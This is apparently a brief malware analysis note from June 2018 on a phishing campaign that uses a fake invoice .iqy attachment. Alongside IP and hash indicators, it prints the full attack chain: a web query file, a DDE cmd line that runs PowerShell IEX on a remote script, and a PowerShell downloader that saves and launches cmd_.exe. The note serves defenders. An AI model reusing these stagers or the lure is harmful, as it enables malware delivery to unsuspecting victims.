1.dat 2.dat doc.xls cmd_.exe

June 5, 2018 Phishing email comes in as spoofed source of your company email with an attachment

Malware contact IP addresses:
95.213.251.149		Port 80
185.222.202.139		Port 80

Domain: brembotembo.com

Malware language: Russian

Subject: Unpaid invoice  [ID:Sales invoice Z12_01 copy.iqy]
Body: No content

The attachment Sales invoice Z12_01 copy.iqy.iqy
Contents:
WEB
1
http://brembotembo[.]com/2.dat
2
a
3
b
4
c
5

Contents of 2.dat that gets downloaded:
=cmd|' /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\"http://brembotembo[.]com/1.dat\"))'!A0

Contents of 1.dat that gest downloaded:

$urls = "http://brembotembo[.]com/doc.xls",""
foreach($url in $urls){
Try
{
                Write-Host $url
                $fp = "$env:temp\cmd_.exe"
                Write-Host $fp
                $wc = New-Object System.Net.WebClient
                $wc.DownloadFile($url, $fp)
                Start-Process $fp
                break
}
Catch
{
   Write-Host $_.Exception.Message
}


}

Contents of doc.xls gets saved as cmd_.exe and executed:
SHA256 of the cmd_.exe is 30e2f8e905e4596946e651627c450e3cc574fdf58ea6e41cdad1f06190a05216
https://www.virustotal.com/en/file/30e2f8e905e4596946e651627c450e3cc574fdf58ea6e41cdad1f06190a05216/analysis/1528207462/